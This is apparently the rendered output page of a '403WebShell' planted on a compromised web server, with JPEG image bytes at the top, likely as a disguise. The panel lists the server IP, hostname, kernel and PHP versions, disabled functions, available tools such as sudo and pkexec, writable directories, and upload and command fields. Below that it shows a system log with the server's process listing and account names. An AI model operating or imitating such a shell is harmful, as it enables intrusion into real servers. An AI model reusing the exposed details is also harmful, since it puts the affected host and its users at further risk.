JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 173.199.190.172  /  Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/log/loadwatch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/loadwatch/2025-11-08.03.30.txt
 ## swap threshold exceeded
## server overview
2025-11-08.03.30 load[0] mem[62/79] mysql[3/26] httpd[13]
              total        used        free      shared  buff/cache   available
Mem:           2363        1361          90          64         911         762
Swap:          1999        1619         380
 03:30:02 up  8:40,  0 users,  load average: 1.57, 1.01, 1.11
## system overview
top - 03:30:02 up  8:40,  0 users,  load average: 1.57, 1.01, 1.11
Tasks: 226 total,   5 running, 220 sleeping,   0 stopped,   1 zombie
%Cpu(s): 72.7 us, 24.2 sy,  0.0 ni,  3.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  2420300 total,    83104 free,  1404068 used,   933128 buff/cache
KiB Swap:  2047996 total,   389884 free,  1658112 used.   771440 avail Mem 

   PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  1964 mysql     20   0 1462552 313604   4516 S 100.0 13.0  12:10.22 /usr/sbin+
  1654 healtho+  20   0  457240  69976   4188 R  18.8  2.9   0:01.46 php-fpm: +
  1836 nigeria   20   0  400652  15936  10220 S  12.5  0.7   0:00.04 /opt/cpan+
   484 polkitd   20   0  612240   1088    696 S   6.2  0.0   0:04.18 /usr/lib/+
  1831 pactpay   20   0  476724  17484  11728 S   6.2  0.7   0:00.02 /opt/cpan+
  1864 root      20   0  160224   2372   1636 S   6.2  0.1   0:00.01 top -n 2 +
  1929 cloudsms  20   0  400652  15676  10060 R   6.2  0.6   0:00.01 /opt/cpan+
  1931 cloudsms  20   0  399668  13576   9228 R   6.2  0.6   0:00.01 /opt/cpan+
     1 root      20   0   44416   3508   1564 S   0.0  0.1   0:43.91 /usr/lib/+
     2 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kthreadd]
     4 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
     6 root      20   0       0      0      0 S   0.0  0.0   0:03.60 [ksoftirq+
     7 root      rt   0       0      0      0 S   0.0  0.0   0:00.59 [migratio+
     8 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [rcu_bh]
     9 root      20   0       0      0      0 S   0.0  0.0   0:38.66 [rcu_sche+
    10 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [lru-add-+
    11 root      rt   0       0      0      0 S   0.0  0.0   0:00.09 [watchdog+
    12 root      rt   0       0      0      0 S   0.0  0.0   0:00.08 [watchdog+
    13 root      rt   0       0      0      0 S   0.0  0.0   0:00.59 [migratio+
    14 root      20   0       0      0      0 S   0.0  0.0   0:05.29 [ksoftirq+
    16 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
    18 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kdevtmpf+
    19 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [netns]
    20 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [khungtas+
    21 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [writebac+
    22 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kintegri+
    23 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    24 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    25 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [bioset]
    26 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kblockd]
    27 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [md]
    28 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [edac-pol+
    29 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [watchdog+
    36 root      20   0       0      0      0 S   0.0  0.0   0:19.80 [kswapd0]
    37 root      25   5       0      0      0 S   0.0  0.0   0:00.00 [ksmd]
    38 root      39  19       0      0      0 S   0.0  0.0   0:00.05 [khugepag+
    39 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [crypto]
    47 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kthrotld]
    49 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kmpath_r+
    50 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kaluad]
    51 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kpsmouse+
    52 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ipv6_add+
    65 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [deferwq]
   102 root      20   0       0      0      0 S   0.0  0.0   0:00.67 [kauditd]
   233 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ata_sff]
   239 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   247 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   248 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [scsi_eh_+
   249 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [scsi_tmf+
   255 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ttm_swap]
   261 root       0 -20       0      0      0 S   0.0  0.0   0:02.05 [kworker/+
   266 root       0 -20       0      0      0 S   0.0  0.0   0:02.39 [kworker/+
   277 root      20   0       0      0      0 S   0.0  0.0   0:01.80 [jbd2/vda+
   278 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
   358 root      20   0   39500   7540   7292 S   0.0  0.3   0:18.01 /usr/lib/+
   388 root      20   0   45356     88     84 S   0.0  0.0   0:00.33 /usr/lib/+
   412 root      16  -4   55532    500    368 S   0.0  0.0   0:03.05 /sbin/aud+
   417 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [rpciod]
   418 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [xprtiod]
   436 nobody    20   0  277984  35744   4056 S   0.0  1.5   0:00.12 /usr/sbin+
   486 root      20   0  152780    140     96 S   0.0  0.0   0:00.01 /usr/sbin+
   487 root      20   0   21540    376    292 S   0.0  0.0   0:00.70 /usr/sbin+
   495 root      20   0   52852    372    272 S   0.0  0.0   0:00.01 /usr/sbin+
   496 dbus      20   0   57040   1412    680 S   0.0  0.1   0:16.41 /usr/bin/+
   501 nscd      20   0  994492   3424    716 S   0.0  0.1   0:15.15 /usr/sbin+
   505 rpc       20   0   69256     56      0 S   0.0  0.0   0:00.03 /sbin/rpc+
   525 root      20   0    4388     40     36 S   0.0  0.0   0:00.00 /usr/sbin+
   530 root      20   0  224284   6564   1544 S   0.0  0.3   0:00.41 queueproc+
   536 root      20   0   24896   1404    820 S   0.0  0.1   0:07.22 /usr/lib/+
   551 root      20   0  195208      0      0 S   0.0  0.0   0:00.00 /usr/sbin+
   572 root      20   0   24208     24      0 S   0.0  0.0   0:00.00 /usr/sbin+
   575 root      20   0  124512    896    432 S   0.0  0.0   0:00.88 /usr/sbin+
   587 root      20   0  108296     48     44 S   0.0  0.0   0:00.00 /sbin/age+
   588 root      20   0  114704     24     24 S   0.0  0.0   0:00.02 /bin/bash
   630 mailnull  20   0   89112   3988   1008 S   0.0  0.2   0:00.47 /usr/sbin+
   653 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [kvm-irqf+
   663 root       0 -20       0      0      0 S   0.0  0.0   0:04.01 [loop0]
   675 root      20   0       0      0      0 S   0.0  0.0   0:00.05 [jbd2/loo+
   678 root       0 -20       0      0      0 S   0.0  0.0   0:00.00 [ext4-rsv+
  1112 root      20   0  572372    940    396 S   0.0  0.0   0:02.67 /usr/bin/+
  1114 systuser  20   0   10132     44      0 S   0.0  0.0   0:00.01 /usr/loca+
  1115 telegraf  20   0 5654048  37068   5960 S   0.0  1.5   0:16.94 /usr/loca+
  1118 systuser  20   0   13012     48      0 S   0.0  0.0   0:00.01 /usr/loca+
  1122 systuser  20   0  112268     60      0 S   0.0  0.0   0:00.01 /usr/loca+
  1123 root      20   0   51656   1216    824 S   0.0  0.1   0:00.39 /usr/sbin+
  1124 root      20   0  153404    304    220 S   0.0  0.0   0:00.69 pure-ftpd+
  1126 systuser  20   0  114016  13420   2928 S   0.0  0.6   0:07.00 /usr/loca+
  1127 root      20   0  111304    404    304 S   0.0  0.0   0:04.52 /usr/sbin+
  1128 memcach+  20   0  342400     36     36 S   0.0  0.0   0:00.66 /usr/bin/+
  1130 root      20   0  397344   6912   1660 S   0.0  0.3   0:07.93 php-fpm: +
  1134 root      20   0  436392  19060  11556 S   0.0  0.8   0:01.00 php-fpm: +
  1135 root      20   0  314704   7844   6948 S   0.0  0.3   0:09.34 /usr/sbin+
  1138 root      20   0 1763032  77248    976 S   0.0  3.2   0:14.17 /usr/loca+
  1162 root      20   0  385496   5868    832 S   0.0  0.2   0:00.88 php-fpm: +
  1168 named     20   0  858124  42936   1840 S   0.0  1.8   0:18.03 /usr/sbin+
  1170 root      20   0  261820   9392   2500 S   0.0  0.4   0:07.83 cpsrvd (S+
  1179 root      20   0  386112   5520    896 S   0.0  0.2   0:00.86 php-fpm: +
  1191 root      20   0  392856   6332    736 S   0.0  0.3   0:00.84 php-fpm: +
  1192 systuser  20   0  111864     64      0 S   0.0  0.0   0:00.01 /usr/loca+
  1193 root      20   0  445028      0      0 S   0.0  0.0   0:00.05 sw-engine+
  1205 cpanelc+  20   0   11388   4148   2328 S   0.0  0.2   0:25.98 /usr/loca+
  1279 nobody    20   0  277632  35144   3640 S   0.0  1.5   0:00.14 /usr/sbin+
  1280 dovecot   20   0   10320    340    224 S   0.0  0.0   0:00.09 dovecot/a+
  1350 root      20   0  248084  46212    892 S   0.0  1.9   0:06.49 /usr/loca+
  1362 systuser  20   0  157708   2956    968 S   0.0  0.1   0:00.13 SonarPush+
  1392 nobody    20   0  277632  35096   3584 S   0.0  1.5   0:00.04 /usr/sbin+
  1401 nobody    20   0  277952  35284   3648 S   0.0  1.5   0:00.04 /usr/sbin+
  1402 nobody    20   0  277632  34936   3432 S   0.0  1.4   0:00.10 /usr/sbin+
  1413 wp-tool+  20   0  387556   3468   1572 S   0.0  0.1   0:00.32 /usr/bin/+
  1414 wp-tool+  20   0  410480  15072   1672 S   0.0  0.6   0:25.50 /usr/bin/+
  1430 root      20   0  262228  24616   6760 S   0.0  1.0   0:03.94 cpdavd - +
  1431 mailnull  20   0   90264   9736   4244 S   0.0  0.4   0:00.01 /usr/sbin+
  1435 root      20   0  209992  10584   2180 S   0.0  0.4   0:03.14 tailwatchd
  1436 root      20   0  167452   4112   2744 S   0.0  0.2   0:00.56 dnsadmin +
  1555 healtho+  20   0  459288  72080   4192 S   0.0  3.0   0:03.94 php-fpm: +
  1608 nigeria   20   0  397064   8364   2544 S   0.0  0.3   0:00.03 php-fpm: +
  1622 root      20   0  111304   4264   3252 S   0.0  0.2   0:00.00 sshd: [ac+
  1634 sshd      20   0  115644   2628   1564 S   0.0  0.1   0:00.00 sshd: [ne+
  1661 root      20   0   28936   2372   1948 S   0.0  0.1   0:00.00 dovecot/q+
  1694 healtho+  20   0  442904  55544   4188 S   0.0  2.3   0:00.58 php-fpm: +
  1705 cpanell+  20   0  262360  12700   2468 S   0.0  0.5   0:00.00 cpaneld -+
  1713 root      20   0  111304   4272   3252 S   0.0  0.2   0:00.00 sshd: [ac+
  1714 sshd      20   0  115644   2628   1560 S   0.0  0.1   0:00.00 sshd: [ne+
  1715 root      20   0  162436   5832   4340 S   0.0  0.2   0:00.01 sshd: roo+
  1716 sshd      20   0  115644   2628   1560 S   0.0  0.1   0:00.00 sshd: roo+
  1733 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpaneld +
  1748 root      20   0  183084   2420   1580 S   0.0  0.1   0:00.00 /usr/sbin+
  1749 root      20   0  183080   2428   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  1750 root      20   0  183080   2428   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  1751 root      20   0  183080   2428   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  1753 root      20   0  183080   2428   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  1754 root      20   0  183080   2428   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  1755 root      20   0  183080   2428   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  1756 root      20   0  183080   2428   1588 S   0.0  0.1   0:00.00 /usr/sbin+
  1757 root      20   0  183080   2428   1588 S   0.0  0.1   0:00.00 /usr/sbin+
